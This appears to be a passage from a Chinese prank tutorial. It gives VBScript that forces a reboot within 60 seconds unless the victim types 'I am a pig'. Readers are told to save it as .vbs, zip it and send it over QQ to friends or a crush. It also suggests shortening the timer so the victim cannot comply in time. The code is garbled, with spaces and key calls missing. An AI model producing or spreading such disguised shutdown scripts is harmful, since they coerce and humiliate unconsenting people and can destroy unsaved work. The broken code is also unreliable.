然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 onerrorresumenext dimWSHshellA setWSHshellA=("") "cshutdown-r-t60-c""说我是猪,不说我是猪就一分钟关你机,不信,试试···""",0,true dima dowhile(a<>"我是猪") a=inputbox("说我是猪,就不关机,快撒,说""我是猪""","说不说","不说",8000,7000) msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox" loop msgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛" dimWSHshell setWSHshell=("") "cshutdown-a",0,true msgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,一切皆有可能~" 复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打开了就在60秒内要关闭计算机, 结束任务都不行,他只能说他是猪才能解决问题。够坏吧?注意哦,你可以把我是猪那个修改成任意想说的话,要是对付你喜欢的人, 就修改成我爱你这样他只有说我爱你之后才不关闭计算机哦也可以把时间修改为20就是说打开了20秒就关了,还没等对方打完就关机了是不是叫对方很郁闷呢 第四个:让人崩溃的关机程序 首先你可以看下面的 ("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) ("你是可爱的XX童鞋吗") ("哈,我想你拉,这你都不知道吗") ("怎么才来,说~是不是不关心我")

相关主题
相关文档
最新文档